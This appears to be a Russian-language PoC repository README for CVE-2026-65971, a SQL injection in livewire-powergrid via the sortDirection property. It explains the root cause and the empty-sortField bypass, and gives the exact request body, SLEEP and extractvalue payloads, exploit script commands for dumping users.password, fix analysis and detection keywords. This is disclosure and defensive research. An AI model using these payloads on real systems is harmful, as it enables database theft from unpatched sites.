
Доказательство концепции и техническое описание для CVE-2026-65971 — SQL-инъекция через свойство sortDirection Livewire в power-components/livewire-powergrid (< 6.10.4)
sortDirectionКонцептуальное доказательство и полное техническое описание для CVE-2026-65971 / GHSA-7fgc-3h6c-698r,
SQL-инъекция в power-components/livewire-powergrid
доступная через публичное свойство Livewire sortDirection.
| CVE | CVE-2026-65971 |
| GHSA | GHSA-7fgc-3h6c-698r |
| Пакет | power-components/livewire-powergrid (Composer / Packagist) |
| Затронутые версии | >= 6.0.0, < 6.10.4 |
| Исправлено | 6.10.4 |
| Уязвимость | CWE-89 — Неправильная нейтрализация специальных элементов, используемых в SQL-команде |
| Серьёзность | 7.6 Высокая — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L |
| Сообщил | Caio Fabrício (@BiiTts) |
| Раскрытие | Координированное, через частное уведомление о безопасности GitHub |
| ├── poc/exploit_powergrid_sqli.py working exploit — confirm + blind extraction | |
| ├── lab/ build the vulnerable app to reproduce it yourself | |
| ├── evidence/EVIDENCE.txt raw lab notes from confirmation | |
| ├── patch/security-fix-v6.10.4.diff the security-relevant portion of the official fix | |
| └── detection/ Sigma rules + Nuclei template for defenders |
---
## 🧠 Краткое описание
PowerGrid — это компонент таблицы данных (datatable) для Laravel + Livewire (~2k звезд, широко используется в административных панелях Laravel). Его состояние сортировки хранится в двух **public свойствах Livewire**:```php
public string $sortField = 'id';
public string $sortDirection = 'asc';
В Livewire публичное свойство является частью wire-формата компонента — любой клиент, который может добраться до компонента, может установить его через POST /livewire/update. Это сделано намеренно; граница безопасности заключается в том, что сервер делает с этим значением.
Функция naturalSort() PowerGrid строит сырое выражение ORDER BY, содержащее литеральный заполнитель {sortDirection}, и конвейер заменяет этот заполнитель на сырое, непроверенное значение свойства перед передачей строки в orderByRaw(). Таким образом, ключевое слово направления попадает в SQL дословно.
Собственный orderBy() Laravel отклоняет всё, что не является asc/desc, и эта проверка делает обычный путь сортировки безопасным. Ошибка в том, что существует второй, непроверенный путь к тому же предложению — и злоумышленник может добраться до него, полностью минуя проверяющий путь (см. Обход).
Результат: произвольный SQL в предложении ORDER BY, эксплуатируемый как слепой булевый/временной оракул для чтения любых данных, которые может прочитать пользователь базы данных.
Любой, кто может получить доступ к таблице PowerGrid, использующей naturalSort, может прочитать произвольные данные из базы данных — другие таблицы, хеши паролей, токены сессий, ключи API, записи других арендаторов — с помощью временного/булевого оракула.
SELECT.; UPDATE ... не выполняется. Влияние на запись ограничено тем, что может вызвать подзапрос.SLEEP() и тяжелые подзапросы — тривиально злоупотребляемые для блокировки потоков базы данных.Требуемые привилегии — PR:L, потому что таблица данных обычно находится за аутентификацией приложения. Если затронутая таблица отображается на неаутентифицированной странице, пересчитайте с PR:N → 8.2 Высокий.
Три файла, три стадии. Все ссылки относятся к уязвимому тегу v6.10.3.
`src/Concerns/Sorting.php````php public string $sortField = 'id'; // line 11 public string $sortDirection = 'asc'; // line 13
Ни одно из свойств не имеет белого списка, правила проверки или нормализующего сеттера. `sortDirection` только присваивается или переворачивается:```php
public function reverseSort(): string // line 37
{
return $this->sortDirection === 'asc' ? 'desc' : 'asc';
}
updatedSortDirection() (строка 103) существует — естественное место для проверки, — но в v6.10.3
он обрабатывает только бухгалтерию ленивой загрузки. Он никогда не проверяет значение.
Поскольку Livewire гидратирует публичные свойства напрямую из запроса, sortDirection на этом этапе
полностью контролируется атакующим как произвольная строка.
naturalSort() помещает заполнительsrc/Providers/Macros.php, строки 102–116 — макрос столбца naturalSort:```php
Column::macro('naturalSort', function (bool $when = false, ?string $tableName = null): Column {
$this->enableSort();
if ($when) {
$this->rawQueries[] = [
'method' => 'orderByRaw', // <-- raw sink
'sql' => Sql::sortStringAsNumber($this->dataField),
'bindings' => [],
];
}
return $this;
});
`Sql::sortStringAsNumber()` разрешается в выражение, зависящее от драйвера, создаваемое с помощью `getSortSqlByDriver()` в `src/DataSource/Support/Sql.php` (строки 60–100). Все варианты драйверов заканчиваются одним и тем же буквальным заполнителем:```php
$default = "$sortField+0 {sortDirection}"; // line 76
'8.0.4' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) {sortDirection}", // MySQL, line 81
'0' => "CAST($sortField AS INTEGER) {sortDirection}", // SQLite, line 84
'0' => "CAST(NULLIF(REGEXP_REPLACE($sortField, '\D', '', 'g'), '') AS INTEGER) {sortDirection}", // PgSQL, line 87
'0' => "CAST(SUBSTRING(...) AS INT) {sortDirection}", // SQL Server, line 90
Уязвимость является независимой от драйвера — каждая ветвь интерполирует {sortDirection}.
`src/DataSource/Processors/Database/Pipelines/ColumnRawQueries.php````php private function resolvePlaceholders(?string $sql): ?string // line 56 { if (is_null($sql)) { return null; }
return preg_replace_callback('/\{(\w+)\}/', function ($matches) {
$property = trim($matches[1]);
return data_get($this->component, $property, ''); // line 65 — raw property, no escaping
}, $sql);
}
и выполнение, line 52:```php
$query->{$method}($resolvedSql, $resolvedBindings); // $method === 'orderByRaw'
data_get($this->component, 'sortDirection') возвращает строку атакующего, preg_replace_callback
вставляет её в SQL-текст, а orderByRaw() — который по контракту не экранирует свой
аргумент — передаёт её базе данных.
Обратите внимание на горькую иронию строкой ниже: resolveBindings() (строка 69) существует, и naturalSort
объявляет 'bindings' => []. Механизм безопасной параметризации прямо здесь. Его нельзя
использовать для ключевого слова направления — ORDER BY x ? не является допустимым SQL, направление никогда не может быть связанным параметром — именно поэтому ключевое слово направления должно быть внесено в белый список.
POST /livewire/update ──▶ public string $sortDirection (Sorting.php:13, no validation) ──▶ data_get($component, 'sortDirection') (ColumnRawQueries.php:65) ──▶ "CAST(...) {sortDirection}" → "CAST(...) asc, (SELECT SLEEP(3))" ──▶ orderByRaw($sql) (ColumnRawQueries.php:52) ──▶ MySQL/MariaDB/PgSQL/SQLite/MSSQL
---
## 🔓 Обход — почему валидация Laravel вас не спасет
Это та часть, которая превращает «сырую интерполяцию» в реально эксплуатируемую ошибку, и именно поэтому проблема сохранилась в зрелом, широко используемом пакете.
PowerGrid обрабатывает запрос через **конвейер**. Два этапа этого конвейера затрагивают направление сортировки:
**`Sorting` конвейер** — `src/DataSource/Processors/Database/Pipelines/Sorting.php`:```php
public function handle(mixed $query, Closure $next): mixed
{
// ...
if (filled($this->component->sortField)) { // line 21 <-- THE GUARD
if ($this->component->multiSort) {
$this->applyMultipleSort($query);
} else {
$this->applySingleSort($query, $this->component->sortField, $this->component->sortDirection);
}
}
return $next($query);
}
private function applySingleSort(..., string $sortField, string $direction): void
{
// ...
$query->orderBy($this->component->resolveSortField($sortField), $direction); // line 42
}
orderBy() — это проверяющий API Laravel. Передайте ему что-то отличное от asc/desc, и он
выбросит:```
InvalidArgumentException: Order direction must be "asc" or "desc".
Итак, на обычном пути — пользователь нажимает на заголовок столбца, `sortField=name`, `sortDirection=<payload>` — фреймворк блокирует инъекцию. Быстрый аудит останавливается здесь и заключает "устранено с помощью Laravel".
**Конвейер `ColumnRawQueries`** — второй этап, показанный выше — **не имеет такой защиты**. Посмотрите на его `handle()` (строки 21–27): он перебирает столбцы и для каждого столбца, содержащего `rawQueries`, применяет их *безоговорочно*. Он никогда не обращается к `sortField`. Он никогда не обращается к результату конвейера `Sorting`.
Эта асимметрия и есть ошибка:
| `sortField` | Конвейер `Sorting` | Конвейер `ColumnRawQueries` | Результат |
|---|---|---|---|
| `"name"` (заполнен) | выполняется → `orderBy()` **проверяет** → выбрасывает исключение из-за полезной нагрузки | выполняется → инъекция | ❌ заблокировано исключением |
| `""` (пустой) | `filled('')` равен `false` → **полностью пропущен** | выполняется → инъекция | ✅ **инъекция срабатывает** |
Установка **`sortField` в пустую строку** заставляет этап проверки пропустить себя, в то время как сырой этап все еще генерирует `naturalSort` `ORDER BY` с `{sortDirection}` атакующего внутри. Проверка Laravel никогда не вызывается, потому что путь кода, содержащий её, никогда не выполняется.
**Таким образом, полная атака использует два поля, а не одно:** `sortDirection` несет полезную нагрузку, а `sortField=""` — это ключ, открывающий дверь.
---
## 🎯 Точные поля
Все происходит через стандартную конечную точку обновления Livewire. Никаких специальных заголовков, никаких пользовательских маршрутов, никаких функций администратора.
**Конечная точка:** `POST /livewire/update`
**Тело (JSON):**```json
{
"_token": "<CSRF token from the page>",
"components": [
{
"snapshot": "<wire:snapshot of the PowerGrid component, taken from the rendered HTML>",
"updates": {
"sortField": "",
"sortDirection": "asc, (SELECT SLEEP(3))"
},
"calls": []
}
]
}
| Поле | Роль | Значение |
|---|---|---|---|
| components[0].updates.sortDirection | точка внедрения | полезная нагрузка SQL, с префиксом допустимого направления, чтобы предложение оставалось синтаксически целым |
| components[0].updates.sortField | ключ обхода | "" — пустое, чтобы пропустить проверяющий конвейер Sorting |
| components[0].snapshot | инфраструктура | состояние компонента Livewire; извлекается из wire:snapshot="..." в HTML страницы (раскодировать HTML-сущности) |
| _token / X-CSRF-TOKEN | инфраструктура | извлекается из data-csrf="..." или блока "csrf":"..." на странице |
Результирующий SQL (лаборатория MariaDB, таблица rooms, столбец name с naturalSort):```sql
select * from rooms
order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc, (SELECT SLEEP(3))
limit 3 offset 0
Полезная нагрузка находится в полноценном выражении списка `ORDER BY`, поэтому подзапрос работает без обёртки, и само предложение остаётся валидным SQL.
---
## 🔬 Как это было найдено — путь через код
Приведённый ниже порядок — это фактическая последовательность рассуждений, включая шаг, который едва не закрыл расследование как ложное срабатывание.
**1. Сначала поверхность атаки: публичные свойства Livewire — это входные данные атакующего.**
Модель самого фреймворка утверждает, что каждое `public` свойство компонента доступно для записи клиентом через `/livewire/update`. Таким образом, вопрос аудита для любого пакета Livewire — не "есть ли пользовательский ввод?", а "какие публичные свойства достигают опасного стока?". Перечислил публичные свойства PowerGrid; `$sortField` и `$sortDirection` выделились как те, что существуют специально для встраивания в SQL.
**2. Проследите за ними до каждого стока.** Выполнил grep по пакету на наличие API сырого SQL — `orderByRaw`, `whereRaw`, `selectRaw`, `havingRaw`, `DB::raw` — и искал любой, который мог бы принять эти свойства. Срабатывание было у `naturalSort` с `'method' => 'orderByRaw'` в `Macros.php`.
**3. Найдите связь между свойством и стоком.** Сырой SQL в `Sql.php` не ссылался на `$this->sortDirection`; он содержал буквальную строку `{sortDirection}`. Такая шаблонизация подразумевает наличие где-то резолвера. Поиск по шаблону фигурных скобок привёл к `ColumnRawQueries::resolvePlaceholders()` и его `data_get($this->component, $property, '')` — универсальному чтению свойств без экранирования. Источник и сток теперь связаны.
**4. Шаг, который почти всё убил: смягчение.** Первая живая попытка — установка `sortDirection` в полезную нагрузку и запуск — привела не к утечке, а к `InvalidArgumentException: Order direction must be "asc" or "desc".` Laravel'а `orderBy()` перехватывал это. Здесь напрашивался вывод *"фреймворк смягчает, не эксплуатируемо"*, и этот вывод был бы неверен.
**5. Спросите, откуда пришло исключение, а не просто что оно произошло.** Трассировка указывала на `orderBy()` конвейера `Sorting` — **другой этап** по сравнению со стоком `orderByRaw()`, найденным на шаге 2. Два этапа, две независимых записи в один `ORDER BY`, и только один из них проводит валидацию. Это переформулировало вопрос с "могу ли я обойти валидатор Laravel?" (нет — это строгое сравнение) на **"могу ли я добраться до этапа сырого SQL, не выполняя этап валидации?"**
**6. Прочитайте страж.** Этап валидации выполняется под условием `if (filled($this->component->sortField))`. `filled('')` равно `false`. Этап сырого SQL вообще не имеет стража. Обход был прямым следствием: отправить `sortField=""`, и выполняется только незащищённый этап.
**7. Подтвердите эмпирически, дважды, независимыми методами.** Одиночный положительный сигнал — это не находка: разница во времени может быть ограничителем скорости, ошибка может быть общим 500. Понадобилось и доказательство на основе ошибок (база данных буквально возвращает внедрённый подзапрос), и тайм-основанная булева оракула (отличие TRUE от FALSE на реальных данных), прежде чем считать это подтверждённым. См. [Доказательства](#-evidence).
**Обобщаемый вывод:** смягчение на уровне фреймворка защищает только тот путь кода, на котором оно находится. Когда два этапа конвейера пишут в одно и то же предложение SQL, утверждение "фреймворк это валидирует" относится только к одному из них. Всегда спрашивайте, на каком этапе на самом деле находится валидация, и может ли опасный этап выполняться самостоятельно.
---
## 🧪 Доказательства
Лаборатория: Laravel 11.53 + Livewire 3.8 + livewire-powergrid 6.10.3 + MariaDB, с компонентом PowerGrid `RoomTable`, у которого колонка `name` объявляет `->naturalSort(true)`, и таблицей `rooms`, содержащей колонку `secret`. Полная лаборатория в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/).
**Основано на ошибках — внедрённый подзапрос достигает БД буквально** (HTTP 500, `SQLSTATE[HY000] 1105`):```sql
select * from `rooms` order by CAST(NULLIF(REGEXP_REPLACE(name, '[[:alpha:]]+', ''), '') AS SIGNED INTEGER) asc,
(select extractvalue(1, concat(0x7e, (select secret from rooms limit 1))))
limit 3 offset 0
База данных разобрала и выполнила предоставленный атакующим SELECT внутри ORDER BY. Это недвусмысленное доказательство инъекции — текст ошибки содержит внедренный SQL в том виде, в котором он был выполнен, а не отправлен.
Слепая time-based — извлечение произвольных данных:``` asc -> 0.02s baseline asc, (SELECT SLEEP(3)) -> 9.04s injection executes asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'TOPSECRET%')-> 9.03s TRUE — value leaks asc, (SELECT SLEEP(3) WHERE (SELECT secret FROM rooms LIMIT 1) LIKE 'ZZZ%') -> 0.02s FALSE — oracle is sound
Пара TRUE/FALSE — это то, что переводит это из разряда "что-то медленно" в "я могу прочитать ваши данные": одна и та же форма запроса возвращает два четко разделенных времени в зависимости от условия по значению, которое злоумышленник не может увидеть. Это работающий оракул, и `poc/exploit_powergrid_sqli.py` проходит по нему символ за символом.
> `SLEEP(3)` дает ~9 с вместо ~3 с, потому что сортировка применяет спящее выражение к нескольким строкам — более сильный, а не более слабый сигнал.
Сырые заметки: [`evidence/EVIDENCE.txt`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/evidence/EVIDENCE.txt).
---
## ⚙️ Доказательство концепции
Без зависимостей, только стандартная библиотека Python 3.```bash
python3 poc/exploit_powergrid_sqli.py http://127.0.0.1:8001/rooms
Это будет:
GET страницу и извлеките CSRF-токен вместе с wire:snapshot компонента PowerGrid;sortDirection=asc в качестве базы;sortField="" / sortDirection="asc, (SELECT SLEEP(3))" и сравнить время выполнения;Полезные флаги:```bash
python3 poc/exploit_powergrid_sqli.py http://target/rooms --check-only
python3 poc/exploit_powergrid_sqli.py http://target/rooms --table users --column password --length 20
python3 poc/exploit_powergrid_sqli.py http://target/admin/rooms --cookie "laravel_session=..."
Против пропатченной цели `6.10.4` скрипт не обнаруживает временной дельты и завершается чисто — список разрешенных сворачивает каждый пэйлоад в `asc`.
---
## ✅ Fix analysis (`v6.10.4`)
Мейнтейнеры реализовали **защиту в глубину на четырех точках вызова** — правильный подход для этого класса ошибок. Примитив:```php
// src/DataSource/Support/Sql.php
public static function sanitizeSortDirection(?string $direction): string
{
$direction = strtolower(trim((string) $direction));
return in_array($direction, ['asc', 'desc'], true) ? $direction : 'asc';
}
Строгий список разрешённых значений с безопасным значением по умолчанию — не чёрный список, не экранирование и не регулярное выражение. Для ключевого слова, которое не может быть связанным параметром, это единственный правильный способ контроля.
Применяется в:
ColumnRawQueries::resolvePlaceholders() — приёмник. {sortDirection} теперь обрабатывается особым образом и разрешается только через sanitizeSortDirection(), никогда через общий data_get().Concerns\Sorting::updatedSortDirection() — хук Livewire. Очищает при записи, так что само свойство больше не может содержать полезную нагрузку.Concerns\Sorting::sortBy() — очищает аргумент направления.Pipelines\Sorting::applySingleSort() / applyMultipleSort() — покрывает пользовательские обратные вызовы sortUsing, которые могут строить собственный orderByRaw. Это закрыло второй, связанный путь помимо того, который был изначально сообщён.Были добавлены регрессионные тесты: tests/Feature/SortDirectionInjectionTest.php и фикстура DishesNaturalSortTable.
Проверка патча выполнена на выпущенном теге (не на обещании): клонирован v6.10.4, проверены все сырые стоки направления, выполнены тесты (30/30 пройдено), и проведён фаззинг sanitizeSortDirection() с 17 нагрузками — временная нагрузка из уведомления, нулевые байты, SQL-комментарии, шестнадцатеричные литералы, смешанный регистр, пробелы, юникод. Все сводятся к asc или desc. Остальные стоки (экспорт через WithExport/ExportableJob, Scout) проходят через проверенный orderBy(), а не через orderByRaw() и не являются инъектируемыми.
Вердикт: ИСПРАВЛЕНО.
Часть diff, относящаяся к безопасности, находится в patch/.
composer require power-components/livewire-powergrid:^6.10.4 composer audit
**Обновление — не пытайтесь обойти это.** Если вы действительно не можете обновиться сегодня, временным решением будет санитизация на самом компоненте:```php
public function updatedSortDirection(): void
{
$this->sortDirection = in_array(strtolower(trim($this->sortDirection)), ['asc', 'desc'], true)
? strtolower(trim($this->sortDirection))
: 'asc';
}
Это временное решение. Обновитесь.
Предварительное условие: хотя бы одна колонка должна объявлять naturalSort:```bash
grep -rn "naturalSort" app/ resources/
Отсутствие столбца `naturalSort` означает, что исходный `ORDER BY` никогда не регистрируется, и основной путь недоступен. Обратите внимание, что `v6.10.4` также усилил путь обратного вызова `sortUsing` — если ваши пользовательские сортировочные обратные вызовы строят необработанный SQL из направления, вы также подвержены риску через этот путь, независимо от `naturalSort`.
### Обнаружение эксплуатации
Атака представляет собой обычный запрос Livewire; нет необычных конечных точек или методов, на которые можно было бы обратить внимание. Посмотрите на **значение** `sortDirection` — легитимный трафик всегда отправляет только `asc` или `desc`.
Всё остальное по определению является аномалией. Практические признаки:
- `POST /livewire/update`, где тело JSON содержит `"sortDirection"` со значением, не равным точно `asc`/`desc` (без учета регистра) — высокая точность, почти нулевой уровень ложных срабатываний;
- тот же запрос с `"sortField":""` (пустое) вместе с непустым `sortDirection` — точная сигнатура обхода;
- ключевые слова SQL в этом значении: `SELECT`, `SLEEP`, `BENCHMARK`, `extractvalue`, `updatexml`, `0x`;
- журналы ошибок приложения с `SQLSTATE[HY000] 1105` или `SQLSTATE[42000]`, ссылающиеся на `order by`;
- всплески POST-запросов одинаковой формы со временем ответа, распределенным бимодально (быстро/медленно) — проходит слепой оракул.
Два правила Sigma представлены в [`detection/sortdirection-sqli.yml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/sortdirection-sqli.yml) — одно по телу запроса, другое по сигнатуре ошибки базы данных для случаев, когда логирование тела недоступно. Шаблон Nuclei, который отмечает доступные компоненты PowerGrid (обязательная поверхность), находится в [`detection/nuclei-powergrid-sortdirection-sqli.yaml`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/detection/nuclei-powergrid-sortdirection-sqli.yaml); подтвердите любое попадание с помощью `poc/exploit_powergrid_sqli.py --check-only`.
---
## 📚 Ссылки
- Совет по безопасности GitHub — [GHSA-7fgc-3h6c-698r](https://github.com/Power-Components/livewire-powergrid/security/advisories/GHSA-7fgc-3h6c-698r)
- NVD — [CVE-2026-65971](https://nvd.nist.gov/vuln/detail/CVE-2026-65971)
- Релиз с исправлением — [`v6.10.4`](https://github.com/Power-Components/livewire-powergrid/releases/tag/v6.10.4)
- Разница версий — [`v6.10.3...v6.10.4`](https://github.com/Power-Components/livewire-powergrid/compare/v6.10.3...v6.10.4)
- CWE-89 — [Некорректная нейтрализация специальных элементов, используемых в SQL-команде](https://cwe.mitre.org/data/definitions/89.html)
- Livewire — [Свойства доступны для записи клиентом](https://livewire.laravel.com/docs/properties#security-concerns)
---
## ⚖️ Юридическая информация
Опубликовано после скоординированного раскрытия, выпущенного патча и публичного уведомления от поставщика. PoC нацелен на локальную лабораторию в [`lab/`](https://github.com/biitts/poc-cve-2026-65971/blob/HEAD/lab/) и предназначен для защитников, проверяющих свою собственную подверженность риску, и для исследователей, изучающих данный класс ошибок. Запуск его против систем, которые вы не уполномочены тестировать, незаконен. Вы несете ответственность за то, что делаете с ним.
---
**Caio Fabrício** — [@BiiTts](https://github.com/BiiTts) · [LinkedIn](https://www.linkedin.com/in/caio-fabrício-b978131b5/)